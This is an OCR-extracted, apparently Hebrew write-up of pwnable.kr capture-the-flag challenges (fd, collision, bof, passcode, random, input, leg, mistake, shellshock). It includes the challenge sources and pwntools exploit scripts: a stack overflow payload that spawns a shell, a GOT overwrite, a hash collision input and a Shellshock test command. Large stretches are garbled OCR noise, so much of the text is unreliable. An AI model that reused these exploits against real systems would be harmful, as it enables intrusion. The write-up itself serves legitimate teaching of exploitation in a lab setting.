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buf[32];

main ( argc,

if(argc<2
printf
return 0;

fd
len

= atoi
0;

read(fd, buf,
Istrcmp (" LETME
printf("g
system

exit(0);

argv(1l

len

printf("1
return 0;
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‘ mommy! | think | know what a file descriptor is!!

Ywntoolss 4 4 ~0 x s T X Xg G X FXS5Y e dL. XX ] (LY ]

sh = ssh(user="fd", password="guest", ble.kr", port=2222)

p = sh.process(executable="./fd

p.sendline("LETMEWIN")

p.interactive()
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ring.h>
hashcode = 0x21DDO9EC;
check password( * p){
*)p;

res=0;

1i=0; i<5; i++)
res += ip[i];
n res;

main( argc,
f(argc<2) {

printf("usage : % passcode]\n", argv([0]);
retiirs 0;

f(strlen(argv([l]) != 2
printf("passcode lengt
returr O'

if(hashcode == check password( argv[1]
system et -

0;

CAT s T sx T T e X A YsTid g, ] maint A4 ek
HA 4w XSOF v o9 0] S XTSx A DF" o8 ww Seyld 14 % %1 L
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o333 + 031NN +O3IY3N3N + OJ31A313) + 0313313

0

845.302441 + 825303441 +835,302Y41 + 825 303441 + 85, 303u!
(]

v
4,126,53%,295

b6 + - hashcodép cy Z MO ¢ AAPH fie, X1 15 su ]

DSXL S s L&

Y X . 1489 X% i oss3 xlx ¥, " . 5 1Hashcodet : «w L i, "

hashcode = 568134124

numl = hashcode // 5

num2 = hashcode - (numl * 4)
print|([f"numl: {numl}, num2: {num2}"))

X x ! gdim1*4 + numi x s { x { payloadt MIM O c H c lynunyl = 113626824, num

rom pwn import *

YAl 4.«

»

sh = ssh(user='col', host='pwnable.kr', port=2222, password='guest

numl = 113626824
num2 = 113626828

payload = p32(numl) * 4 + p32(num2)
p = sh.process(executable='./col', argv=['col', payload])
8 p.interactive()

daddy! ljust managed to create a hash collision :)
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bof - 0x03

"Nana told me that buffer overflow is one of the most common software vulnerability. Is|that
true?"

XL IREX g xiioxs" i | ¥ { boffer overflow, bob. « X T 4 eHM T 44 <Ld X

LA Jusyux, x X ox o b4 Dxol x9S T T, ) ] Sl x|

Av

BT L e X oS o T T X xS o x XY e 4 wse T e Byl s oo x D]
R S L N L S

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
func( key) {
overflowme[32];
printf("overflow me
gets(overflowme) ;
if(key == Oxcafebabe) {
system("/bin/sh"

elseq
printf("Nah..\n");

main( argc, * argv[]){
func(Oxdeadbeef) ;
return 0;

pn Ak’ _sH AT TS A4l 4 X X 4w getss 1 .« TIKX S8 s
oferflowme: ++~ v _ 2 1 +admiL v b Yuxx si x 7 4896 oFerflowmer © x { I x «

sl . KX,

v B r Y L Tt SIS x0bsprEl 1 X o Lx
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Y { X", 57 % { %ss disassemble s gEbit: 4 7 Lxl s 7
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offsetrt . _ _rd® 484, 9 X1 ¥ -~ K X TIise, x X] 1 0xCafebabe* x ] Lx 7
rﬂ)ﬁﬁypH Xss®& , x

Yx A, 4 dbswr

>> ~

from pwn import *

shell = remote('pwnable.kr',9000)
offset = 52

payload = '\x01' * offset + '\xbe\xba\xfe\xca'
shell.sendline(payload)

shell.sendline('cat flag')

shell.interactive()

daddy, | just pwned a buFFer :)
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flag - 0x04

Gt F LI OoNRBAZAKG YS I LICEARR ALANBNSSNG Aty Ui
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4 LT gs X v X 4l o~ packeds 1 ss_ 7 ix 7 %faightforward 4 L 1§ |
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view-> Open subviews> Strings:

Address Length Type String
M LOAD:000000.. 00000018 "12Wr%W345%Wr%67x!Wr892

LOAD:000000.. 00000010 C fJupx.sf.net $\n
LOAD:000000.. 0000000E C proc/self/exe

the Ultimate Packer for eXecutables

View source on GitHub Download latest release

Welcome

UPX is a free, secure, portable, extendable, high-performance executable packer for several
executable formats.

Introduction

UPX is an advanced executable file compressor. UPX will typically reduce the file size of programs
and DLLs by around 50%-70%, thus reducing disk space, network load times, download times and
other distribution and storage costs.

Programs and libraries compressed by UPX are compietely self-contained and run exactly as
before, with no runtime or memory penalty for most of the supported formats.

UPX supports a number of different executable formats, including Windows programs and DLLs,
macOS apps and Linux executables.

UPX is free software distributed under the term of the GNU General Public License. Full source code
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https://cyberpedia.reasonlabs.com/EN/binary%20packers.html
https://cyberpedia.reasonlabs.com/EN/binary%20packers.html
https://cyberpedia.reasonlabs.com/EN/binary%20packers.html
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https://book.hacktricks.xyz/crypto-and-stego/cryptographic-algorithms/unpacking-binaries
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DT @ L S X I e X X b X" B X B X packert | <X "~

~ ~ o
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Address Length Type String

B .rodata:00000.. 0000002A C UPX...7 sounds like a delivery service :)

[s] .rodata:00000.. 00000034 C | will malloc() and strcpy the flag there. take it.
[5] rodata:00000.. 00000017 C FATAL: kernel too oldin

[s] .rodata:00000.. 0000000D C fdev/urandom

[5] .rodata:00000.. 00000028 C FATAL: cannot determine kernel version\n
[s] .rodata:00000.. 0000000A C fdev/full

[s] .rodata:00000.. 0000000A C fdev/null

[5] .rodata:00000.. 00000035 C cannot set %fs base address for thread-local storage
[s] .rodata:00000.. 00000027 C unexpected reloc type in static binary

[s] .rodata:00000.. 0000000D C cxa_atexit.c

[s] .rodata:00000.. 00000011 C L= {{void *)0)

[s] .rodata:00000.. 0000000D C __new_exitfn

[s] .rodata:00000.. 00000013 C LIBC_FATAL_STDERR_

[5] .rodata:00000.. 00000009 C [dev/tty

[5] rodata:00000.. 0000001E C ======= Backtrace: =========\n
[s] .rodata:00000.. 0000001E C ======= Memory map: ========\n
[5] .rodata:00000.. 00000010 C fproc/self/maps

[s] .rodata:00000.. 00000018 C <heap nr=\"%d\">\n<sizes>\n

[s] .rodata:00000.. 00000009 C </heap>\n

[s] .rodata:00000.. 00000009 C malloc.c

[s] .rodata:00000.. 00000012 C ((p)->size & 0x2)

[s] .rodata:00000.. 00000019 C (p-=prev_size == offset)

[s] .rodata:00000.. 0000000A C <unknown:=>

[s] .rodata:00000.. 0000001D C malloc; top chunk is corrupt

[s] .rodata:00000.. 0000001D C corrupted double-linked list

[s] .rodata:00000.. 00000009 C TOP_PAD_

[5] .rodata:00000.. 00000008 C PERTURB_

‘s’ .rodata:00000.. 0000000A C MMAP_MAX _

[ | e VPN SRR e e R ACCRIA RAN

UPX...? soundge a delivery service :)
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passcode 0x05

adazYYe G2t R YS
without any error’2 St £ =

16 SR S > SR P

°

login(){
passcodel;
t passcode2;

printf("enter passcodel :
scanf("%d", passcodel);
fflush s

printf("enter passcode2 : ;
scanf("%d", passcode2);

printf("checking...\n");
if(passcodel
printf("Login OK!\n");
system cat flag"

printf
exit(0);

welcome(){

name[100] ;
printf("enter you name :
scanf("%100s", name);
printf("welcome %s!\n

main(){
printf("Toddler
welcome();

login

printf("Now I
return 0;

FSS 4y K.k LS A4 X {ss . Lldgint 4 . WX ]l

Y 1 »ss XY 14 x Y s 4 e {7 x ]

~ SV~

Y s: x s, | "c@mpilerwarning 1 7 LM T X 9% s Os o,

~
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Technologic

1L s ]9 _ 87 «ss3passworadin” X » 13 £ 4971 _xy¥p.xs SRy &5

xRS | 4Ty

~ ~

GOTI " xi Wi Umx s | L) ¥ x s 4k
ST L XX b g« A X 48X {_1FIs” I x 1% s”Us* {1 Global Offset Tabke GO
DX TR S xS e s 0 " Y Exoifs, S@ T, 8 X x 1
C¥ILL AT L sIKe U X e § D h S XS T s L Ve XA 4T I x Dy

S e 4 CGOTE b2 | AKX SIS K ADTE L S " X f ST xsITHY 0 X x {1 X x vy
xo Dl s o XTI D e d o S QDTS X T XD X x DsfIs ] X {4 X x s
st 1 os st ox o xob Y x s Bg T ox jddding lazyr 1~ x X% 1 { GDT s ¢ X«

TOOXIe XIS Al X A X sX LD X TIRS S Xy 4" ] x s

s 4 © 18 X7, f% x" {symbolst ¢ J X * ¥ {lx Ll U] S X

(4 ret2dlrebplverthx ~ *s.. SHMYTX6 L ¥

ces 4 B, xp SEX X I SOTL 4 s L A TS wr e ] 52 xS, T
et s Tl s G0 X 1% 4 N KSp] XKD vs "4 @7 T yd s

~ » -

X" 1.7 webplr 1, xS S APIE] X@¥ Ixstox o bdse pointert L X s . 54T T X

~

O l- 1T wv 5™ xpgs 4 x 3 %% 0 ks 407 4 % slw@mear + Ypasscodaém+ 1 * - x |

¥ o xds 40 1% logint disassemble . *

MAR X s xs.¢s ,, « skanfrs " X S w . Ssx 7 X x , X 5
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https://www.digitalwhisper.co.il/files/Zines/0x86/DW134-7-ret2dlresolve.pdf

- 4 x

i 1xZ x x . 1 | passcodé. _s !

0x70-0x10 = 0x60 = 96

¥ L

X « 1 ¥is"y Osr A XS X «Ss. S|

14" s

i 9 « A IKE padLx X ™ axsi €1 4«

SY. @ X x Ipdsscodg - 1 <'i4S <~ 48T x 4 ¥y 3 X177« {fflushi $ « .~
0x0804a004
' ¢2RRf SNQ& . 2G0¢€ S
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https://reverseengineering.stackexchange.com/questions/23311/dumping-the-got-with-gdb-at-run-time

Y Y as o 4098, x x4 x0 w x «, o ldgins 4 « « 7 x s, 1 7

®x080485e3 ¢ . x LS. T

Y13 1. 1-a*17
from pwn import *

sh = ssh(user="'p > ole. kr , password="g
payload = '
payload +=

= sh.process(executable="./
.recv()
.sendline(payload)

.sendline(str(int(0x080485e3))

P
P
p P
p.recv()
P
p.interactive()

Sorry mom.. | got confused about scanf usage :(
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Technologic

random - 0x06

G5 RReéx GSIFIOK YS K2g (2 dzaS NI yR2Y @l-tdzé.l)\y LINE 3

Y X ox TS kesxiesTd LT 4«
#include <stdio.h>

main(){
random;
random = rand();

key=0;
scanf("%d", &key);

A

if( (key random) == Oxdeadbeef )
printf
system

return 0;

printf("wrong, mayb
return 0;

TSIx s oy ~ XS aTx X " I 4w X n ML h . h I | oxJox oS

~

© Yy L s X (Okdeadbeed, * 1 w rd %Xl { {3 x 1 7, s

KX Ll "

~

Cow L p A oS XA TYSX X XS] x LD X ]Sy ¥eX s « . TKK *brutéforce

OFY 4 Xpxd4dlx dl4 4 7

1o isx X e, { Cr@ndd 01 « «~ZX ds:Qrands 4 « « " X , S Kx 893 _ s« »
T {85 sl X1 Beed ‘h, JhXSrand 60 < T ¥ T $x opxwxopsxl | X Ts (s

>

M" A:s“v'l sl 'I”‘X“lz’,?O(,’q.: _IMJX:

> > ~ v

#include <stc

main(){
] random;

random = rand();

printf("random: %d\n", random);

return 0;

‘main’:
: implicit declaration of function ‘rand’ [-Wimplicit-function-de

random = 1,804,289,383 = 0x6B8B4567

' ¢2RRf SNQ& . 2G0¢€ S
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https://www.cs.yale.edu/homes/aspnes/pinewiki/C(2f)Randomization.html

Yord 4 L s wpx ss ]

ot =c pce b’l?’
A[y’:ﬂ 15

key AFOMD!‘W = OXJeaJLeeF
(9" 0vgbeb 4567 0xdeadbecs
oxg\eaﬂveeV‘M bE(us6F =Key

from pwn import *

sh = ssh(user='random’, host— ownable. kr'
p = sh.process(executable=".

num = Oxdeadbeef
b8b4567
= str(num *~ r)
p.sendline(key)
p.interactive()

Y v I s

a2YY®&r L (K2dzAKG tA60 NIYR2Y A& dzy LINBRAO[I 6t §X
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input - 0x07

\basz K2g OFy L LIaa Yeée Ayldzi G2 | C')ZYLsz{[']SNJ LINE 3

WX e TR T L X1 SS C L CE X ST VD X D X s e e

if(argc !'= 100) return 0;

if(strcmp(argv['A'],"\x00")) return 0;
if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
printf("Stage 1 clear!\n");

FAd XX T o] " ITxa a0 4 -1 o x4 XXX {TTX  fns” s
msxxag ~ 1 s 1S I8 C x s x xASCHK AL 1 vepg -1 _ - s
Y | . ‘@&2x0ax0edh
args = [b'A']*100

args[65] b'\x00'
args[66] b'\x20\x0a\x0d"'

1Q 4~ S stw 7 sx¥ x| _difectory0s 4 <411 V3 Fof < Y IIxonds” X o {7
X 47s I DX X7 0T X0 d A TX L e s X B S kX X L ox g s P

OV s x

buf([4];
read(0, buf, 4);
if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
read(2, buf, 4);
if (memcmp (buf, "\x00\x0a\x02\xff", 4)) return 0;
printf("Stage 2 clear!\n");

T 1.1~ (EROPXOAXOOXFHT + 4 X XDEE% 1 0 X s X .iws | 1§ Fu S ( ] %
17 et D ] KX e LI T fdB2r . 1S¥ e 4 S X BufiTr 4~ . X s

Tsi N dD X v el L SO X s "X fde s 4 ] KX 4 fdR2T o ox . L

a

1142 1 witem ! 1 -readm ! 1 -file descriptorsy *.¢1 ¢ ds.pipd) ~= - 1pie-*1 s

Y 4ol 3 X O F X Cwgited™ x ¢ )L

~

read fdl, write fdl os.pipe()
read fd2, write fd2 os.pipe()

os.write(write endl, b'\x00\x0a\x00\xff')
os.write(write end2, b'\x00\x0a\x02\xff')
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https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors
https://en.wikipedia.org/wiki/File_descriptor#Creating_file_descriptors

if(stremp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
printf("Stage 3 clear!\n");

®xbebafeca s x s | Oxéfbeaddetr ~ ! ¥ *xe@vironment variablgs * 4 *s "si ¢ 4 %

X o« X aa x4l X" eRvs « 4 . X X 543 " kx " sfaightforward: 4 |, 1 4

= process(executable
stderr=read _end2, env={'\xde\xad\xbe\xef' :'\xca\xfe\xba\xbe'})

FILE* fp = fopen("\x0a",
if(!fp) return 0;

fread(buf, 4, 1, fp)!=1 ) return
if( memcmp(buf, "\x00\x00\x00\x00",
fclose(fp);
printf("Stage 4 clear!\n");

Ix Do WA nARAR d S XS X xT L1 oxd@
YxonnnAArx: J1x.os

file = open('\x0a', 'w')
file.write('\x00\x00\x00\x00")
file.close()

sd, cd;
sock r in saddr, caddr;
sd = socket NET,
if(sd == -1
printf
turn 0;

saddr.sin family = NET;
saddr.sin addr.s addr = IN NY;
saddr.sin port = htons( atoi(argv['C']
bind(sd, ( sockaddr*)&saddr, (saddr)) < 0)
printf("bind error, use another port\n
returr 1;

listen(sd, 1
C =
cd = accept(sd,
cd < 0){
printf
returr O’

if( recv(cd, buf, 4, 0) != 4
if(memcmp(buf, "\xde\xad\xbe\xef
printf(“Stage 5 clear!\n");
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IX XS ™ S L WOTTL - Or 4 o 44,7 4% XxqsBbcket ST . D 147

~ ~ >

1~ x &xdexadxbexef T x v« x% " D 4 X o] X 4 % 8N o2 x X

i ferhotes | x x "> © bef. vl x X4 1 4.~ | Gdyv[Cl=argv[67]

»

M, 1~ Sb_ 1L 1B X s

X "s " &g €

args = ['\x01']*100
args[65] = '\x00
args[66] '\x20\x0a\x0d

read fdl, write fdl = os.pipe()
read fd2, write fd2 = os.pipe()

os.write(write fdl, '\x00\x0a\x00\xff')
os.write(write fd2, '\x00\x0a\x02\xff')

file = open('\x0a', 'w')
file.write('\x00\x00\x00\x00")
file.close()

args[67] = '4444

p = process(executable='/home/input2/input', argv=args, stdin=read fdl,
stderr=read fd2, env={'\xde\xad\xbe\xef' :'\xca\xfe\xba\xbe'})

r = remote('localhost', int(args[67]))
r.sendline('\xde\xad\xbe\xef"')

p.interactive()

FoompS A e KKK T o 4SS S e OCLIX T X TR Y .

® L L s X -, ”-|x,;q§ x:“\s< q VXX””LE,.'IV'I = ,Z "

Y v I s

Mommy! | learned how to pass various input in Linux :)
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leg- 0x08

G451 RR& (2fR Y$ .Ldzila K2 drIND TaQINDR®2 [aNDvigR& Y& f S3H¢

ARMx { PIx wiled @ 5 9°x] "HAEHy y gr X ~0assembly ARM .~ ¥ Ix"0x {]s; x s
LA Y Ay s 4 177 MO T FE s Y 4D D RO ¥ s, X D C g X

key2(){

"push

Ynaimf o 1 s, "40"x 047 sH x {4 s xixXTI0” sk LA F S LT

main(){
key=0;
printf(’ dy has very strong arnm
scanf("%d", &key);
if( (keyl()+key2()+key3()) == key
printf("Congratz!\n");
fd = open("flag",
buf[100];
r = read(fd, buf, 100);
write(0, buf, r);

printf("I have stro

return 0;

S R S T A s x@ HLx B x Bl sy s, xx "4 ] main

FS oXO XIKY Tosex 7 S x X ] x 0 xs]s Ixd SFOX XSS v 0 XEPS L] 1w

> e
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(gdb) disass keyl
Dump of assembler code for function keyl:

0x00008cd4 <+0>: S
0x00008cd8
0x00008cdc
0x00008ce0d
Ox00008ce4
Ox00008ce8
Ox00008cec

<+4>:
<+8>:

<+12>:
<+16>:
<+20>:
<+24>:
End of assembler dump.

Lo_s X x ] sq *pe~, 1

(gdb) disass key2
Dump of assembler code for function key2:
{ril}
ril,

0x00008cfO
0x00008cf4
0x00008cf8
0x00008cfc
0x00008d00
0x00008d04
0x00008d06
0x00008d08
0x00008d0a
0x00008d0c
0x00008d10
0x00008d14
0x00008d18
0x00008d1c

<+0>:
<+4>:

<+8>:

<+12>:

<+16>:
<+20>: I
<+22>:

<+24>:
<+26>: p
<+28>: poy
<+32>:
<+36>:
<+40>: p
<+44>:

End of assembler dump.

i ARME ©x00008cds ~ * pct 1 -

{

p

}

 @ystem("/bin/cat flagy~ L+ Z,
VAL N

{ri1l}
pa b1l
’ pC

’

(SS, Osx, XS PO v 4 X

o "main, ¥ X T - s

>~

asX sy, O T X

Ys xpcar + 1 XX wd ly*bq 1 Isxl xso s
0x00008cdc + 0x00000008 = 0x00008ce4

¥ A4S 48 T HED TK{ a8 557 LT

, #0O

, pC, #1

FYD n¥ e 4 4 X ard % 1 Ape W~ S 4 L AP o X X

<

0x00000008 + 0x00000004 + 0x00008d04 = 0x00WGBd

¥ X, 04 s gL s B IS Isx Ty [ssE 4 S F .. "sx B S x

(gdb) disass key3
Dump of assembler code for function key3:

0x00008d20
0x00008d24
0x00008d28

0x00008d2c
0x00008d30
0x00008d34
0x00008d38
End of assembler dump.
(gdb)

<+0>:
<+4>:
<+8>:
<+12>:
<+16>:
<+20>:
<+24>:

¢2RRf SNIRa
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Technologic

¥urdesxde  omamd c77IS3 < Xetubn addresg ¢ X S 4 S H o T x| s

(gdb) disass main
Dump of assembler code for function main:

0x00008d3c
0x00008d40
0x00008d44
0x00008d48
0x00008d4c
0x00008d50
0x00008d54
0x00008d58
0x00008d5c¢
0x00008d60
0x00008d64
0x00008d68
0x00008d6C
0x00008d70
0x00008d74
0x00008d78
0x00008d7c
0x00008d80
0x00008d84
0x00008d88
0x00008d8c
0x00008d90
0x00008d94
0x00008d98
0x00008d9c
0x00008dad
0x00008da4d
0x00008da8
0x00008dac
0x00008dbo
0x00008db4
0x00008db8

<+0>:

<+4>:

<+8>:

<+12>:
<+16>:
<+20>:
<+24>:
<+28>:
<+32>:
<+36>:
<+40>:
<+44>:
<+48>:
<+52>:
<+56>:
<+60>:
<+64>:
<+68>:
<+72>:
<+76>:
<+80>:
<+84>:
<+88>:
<+92>:
<+96>:

<+100>:
<+104>:
<+108>:
<+112>:
<+116>:
<+120>:
<+124>:

str
ldr

G e b
Pl , #8
, #12
, #0
, [rll, #-16]
ro, [pc, #104] ; 0x8dc® <main+132>

bl 0xfb6c <printf>

ldr

bl
bl

bl
bl
ldr
bne
ldr

bl
ldr

7 ELLly #16
ro, [pc, #96] ; 0x8dc4 <main+136>

Oxfbd8 < 1s0c99 scanf>
0x8cd4 <keyl>

0x8cfO <key2>

0x8d20 <key3>

’

<y

, [r1l, #-16]

0x8da8 <main+108>

ro, [pc, #44] ; 0x8dc8 <main+140>
0x1050c <puts>

ro, [pc, #40] ; 0x8dcc <main+144>
bl 0xf89c <system>
b 0x8db0 <main+116>
ldr ro, [pc, #32] ; 0x8dd0 <main+148>
bl 6x1050c <puts>
movV , #0

’

, rll, #8

YLl ssis % C Jkeyds 1« < ¥+ .0800008FcOM &b » * { T v 1 _ "

0x00008d80

Y Isx 1 7

0x8ce4 + 0x8d0c + 0x8d80 = 0x1a770

1"54"1*1J’:ﬂ:|\/m'lyl'lflﬂx“"x -|,, X " .

My daddy has a lot of ARMv5te muscle!

' ¢2RRf SNQa .200G¢f S
www.DigitalWhisper.co.il

HAamH ~ 1597 x {4 L Y



Technologic

mistake- 0x09

a2S Ftf YF1S YAadl{1Saz tSidua
(don't take this too seriously, no fancy hacking skill is required at all)
This task is based on real event

Thanks tadhmonkey

KAYyd Y 2LISNIF G2NJ LINR2NRGe@ ¢

Y205 2y o

e IR SRS EERS B

xor ( WGy len){
11
1=0; i<len; i++

s[i = )

main( argc,

fd;

f (fd=open
printf
return 0;

printf("do not bruteforce...
sleep(time(0)%20) ;

pw_buf [Pk N+1];
len;
f(!(len=read(fd,pw buf,
printf ad error\n
close(fd);
rn 0;

pw_buf2]| N+1];
printf password :
scanf("%10s", pw buf2);

xor(pw_buf2, 10);
f(!strncmp(pw_buf, pw buf2,

printf("Password OK\n");
system("/bin/cat flag\n

printf

close(fd);
turn 0;

RS .| x,,)l -|V,J X 12X - ¥

+ XS "|; |_-| ””

> v v

xSy 41
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xord 40 sXx L& 3« X L1 pmbufts  47s] x& o 4. x4 | x:

~ ~ v v

LS oasx X 07 v pl hufims x § 4L s s o xstlsx wdbuf2rt - | 0 4

Xt operator priority Xd% 474X (iw 4 " #H XHIEM T X~ X o % opérator priority

++-- Suffix/postfix increment and decrement
0 Function call
Array subscripting .
1 D Structure and union member access Leftto-right
-> Structure and union member access through pointer
(type)list} | Compound literat99)
S Prefix increment and decreméffteY!
+- Unary plus and minus
I~ Logical NOT and bitwise NOT
tvpe Cast .
2 (y*p : Indirection (dereference) Rightto-left
& Addressof
sizeof | Sizeof™*?
_Alignof Alignment requirementi1)
3 * [ 0p Multiplication, division, andemainder
4 +- Addition and subtraction
5 <<>> Bitwise left shift and right shift
<<= C2NJ NBfFGA2yFt 2LISNI G§2NER *
6 >>= C2NJ NBflFdA2ylFf 2LISNIG2N&B B
7 ==I= C2NJ NBf A2yttt ' FyR r NBa Leftto-right
8 & Bitwise AND
9 N Bitwise XOR (exclusive or)
10 | Bitwise OR (inclusive or)
11 && Logical AND
12 [l Logical OR
13 ?: Ternary condition&l™=?
= Simple assignment
+=-= Assignment by sum and difference .
; : : Rightto-left
14 *= [= 0p= | Assignment by product, quotient, and remainder
<<=>>= | Assignment by bitwise left shift and right shift
&="=|= | Assignment by bitwise AND, XOR, and OR
15 , Comma Leftto-right

https://en.cppreference.com/wi/c/language/operator _precedencer: € _

WP o~ X XX, B s X K T XS] L

~

if(fd=open("/home/mistake/password ,0400) < 0

Fodo_osax > d % 1 T dopens 4 . <7 % 1 Xile descriptorg r + & X X qss, o x D5
HoC s oy x 1. b e X e s
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https://en.cppreference.com/w/c/language/operator_precedence#cite_note-1
https://en.cppreference.com/w/c/language/operator_precedence#cite_note-2
https://en.cppreference.com/w/c/language/operator_precedence#cite_note-3
https://en.cppreference.com/w/c/language/operator_precedence

T s 4 1 X Ise ¥ fdBLs 4 XIEX4x . X gpen Ke €SS, xs X x ¢ s]C .
CoxfdsiT C T B _YS L YMEAT 42" s Do 1" BSI X b ks 4 g %
DO, » 4 A ¥ L | P HO

C IS4 ixel 4, IK<DS S 4 pd buf, pw bURL S v (S 1 4% T« Xisx X (Ixx]
D4 XU, ST e S 45 « S e xS OpW buflt »  _ HA<xST XA f L s < X
P xsdy sy 30y 2704+ ipwdbu2m » _  xox» x * os 4%
Y 4«1 42X 0xBrs 1 ol «Xso X0 o0 xwd i, X1 X
T
sh = ssh(user='mistake’, host='f kr', ports password="guest")

p = sh.process(executable=
p.recvuntil('...\n")

p.sendline('A'*10)
p.recvuntil( )
ch = xor('A', 1)
p.sendline(ch*10)
p.interactive()

Mommy, the operator priority alwaysonfuses me :( \

shellshock- Ox0A

daz2YYes GKSNB gl a | albetQoukigaly kyidvobit lets just drike| io |
adzNB YO ¢

. x__4ShellShock -~ _~ _ S =~ ~X. <. bdsti4 { % SHellshocki%s w ¥ ¥ _ _

. 54-s T x { Ly X P, X X)) s .« _ S LS L X H s
Y X s = s X oSXIsy | X, . x

Sy@ EIrQoéeo 9 YTYD 8&S8&FGdA ySNI6f SQ o0l aK

env x=() { :;}; echo vulnerable’ bash -c “echo test”

)

environment table n'x'  pArn7 0'¥N NNIX DN Ry oy pRIK (R7/Monn
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https://www.whichnumberislarger.com/
https://www.digitalwhisper.co.il/files/Zines/0x36/DW54-1-Shellshock.pdf
https://www.digitalwhisper.co.il/files/Zines/0x36/DW54-1-Shellshock.pdf
https://www.digitalwhisper.co.il/files/Zines/0x36/DW54-1-Shellshock.pdf

¥ X o a5 | p XX 0y s s X XX | éxploit® - ovr T, 7

/bin/cat flag

b XIS X T X s ] WS rabt s

£ rom pwn i

sh = ssh(user='she
shelll = sh.shell()

sh.recvuntil("$")

shelll.sendline("er
shelll.interactive()

Lisx x{v4 kBellshock * X1wx**s 4 4 Xxx",] " « x

Y X +s « 77X _eXploitrt v 1 _ L

, port=2222, password='guest

only if | knew C\VM20146271 ten years ago..!!

X4 AT LR, T8 X ]

FXol A

X X X ] X " XpRnm® or oL XS L aXST LS v X

FLx Tt b1 . S o x x| ®BoF shellshock, GOExploitation* _ Binary Exploitation.

DA 47 f s XIX L] X 449781 Xpwiit

Y » ¥ O HY "Pwnable: x p dLw XX <ox o, I3 L3X

@Ox01Do

ido.schwartzer@gmail.com

B 0% A TXPWNT K ¥ D MIPESEX ~ X K

> a

H « 4 .4 «Ssl x

FA

” o S _JX: L, V'I‘Lv

v s 4 A4q

~ ~

~ %71 LS

WX dsx 4 X

X oL ASEv 4 Ss | x .

>
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Binary Exploitationi | 1 .
https://youtube.com/playlist?list=PLhixgUqwRTjxgllswKp9mpkfPNfHkzyeN&si=IDSsInCupBnDBuyy

Ywntoolst s {1 « 17

https://docs.pwntools.com/en/stable

Yod x 0GDR . *

v

https://www.digitalwhisper.co.il/files/Zines/0x58/DW88-PwningEFLs.pdf

GDB. S 4.1

https://www.sourceware.org/gdb/documentation

YDAFee. 5 * « :

https://hex-rays.com/idafree/#download

https://linuxcommand.org/Ic3_1ts0090.php

¥ {0 X xs ¥y9& sXxx X H¥Y 5. x

>

https://www.digitalwhisper.co.il/files/Zines/0x0C/DW1P-HashCollisions. pdf

Y * x xJsq BimaryPackers & _

https://cyberpedia.reasonlabs.com/EN/binary%20packers.html

GOTe : x P b 4, 414+,

https://reverseengineering.stackexchange.com/questions/23311/dumghmetgot-with-gdb-at-run-time

Operator Priority - 1

https://en.cppreference.com/wi/c/language/operator_precedence

Yhellshock s ~» « « %

https://en.wikipedia.org/wiki/Shellshock_(software bug

¥hellshock 1~ x. X

~ v

https://www.exploit-db.com/docs/english/48112he-shellfhockattack%5Bpaper%5D.pdf?ref=benheater.com

https://www.digitalwhisper.co.il/files/Zines/0x36/DW54-Shellshock.pdf
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https://youtube.com/playlist?list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&si=IDSslnCupBnDBuyy
https://docs.pwntools.com/en/stable
https://www.digitalwhisper.co.il/files/Zines/0x58/DW88-5-PwningEFLs.pdf
https://www.sourceware.org/gdb/documentation
https://hex-rays.com/ida-free/#download
https://linuxcommand.org/lc3_lts0090.php
https://www.digitalwhisper.co.il/files/Zines/0x0C/DW12-1-HashCollisions.pdf
https://cyberpedia.reasonlabs.com/EN/binary%20packers.html
https://reverseengineering.stackexchange.com/questions/23311/dumping-the-got-with-gdb-at-run-time
https://en.cppreference.com/w/c/language/operator_precedence
https://en.wikipedia.org/wiki/Shellshock_(software_bug
https://www.exploit-db.com/docs/english/48112-the-shellshock-attack-%5Bpaper%5D.pdf?ref=benheater.com
https://www.digitalwhisper.co.il/files/Zines/0x36/DW54-1-Shellshock.pdf
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Why doesn't Python have a ++ operator?

@ cChatGPT
In Python, the “++~ operator doesn't exist because it goes against the design

principles of the language. Python was designed to be simple and readable, and the

use of “++~ for incrementing a variable could lead to confusion and less readable code.

@&hatGPT 5 1 8 _

K @ ~CRatGPT s * x _ 4§ _ " Jif "s«

~

CPython. : . «

s «  iss QOPythorr 45! 1 ;s 4s X s sPytdon. _ déstributions): x . s @ x 44«
» YEBOH B X BS¥L v X XX {7 Kpd xI44%, L ox {xCRs X x pRensource

L TSXEX LW Yy o4 X" d s £ Ja ®mo UBPython . ¢ X 44X" ] 1 s

[

¢

Tl Lo xop x4 ommitm o, 4 F 4 7T Axs" X0 4 ©OPythort < 4 x o 48 I @ x ¢
x {v xXsl xs " 8., N S L < B ST N Yy oolox o

~ ~ ~ ~

DX Xse WYX xg9s 4% |4 x| Python

@ x X4 _ ePython « 1 x40 Acforkifr 1« » _ % ¢ A 4 ¥ 4 X", xsaxs | ] x "

CPython ~- X " X dL+

1vsZ T Windows: X 4 X X9 " i 1 Xgit clane, . X 1iICPythoni i x " 4*IL ]
L _GitHubie Tox 2 X o s XL E g ] 7 Xos e L hrs, T X X ROX Kyt D T X ox ]

~

1,4 - 5,81~ 5% » 1 xx Microsoft Visual Studio 2017 1 « : sWindowst OPython
s 4 x «, s ¥ ¥ 7 Xwual Studid PCbuildpcbuild.sin, * x ~ =1 x & 7 {1, 1 « hdild.bat

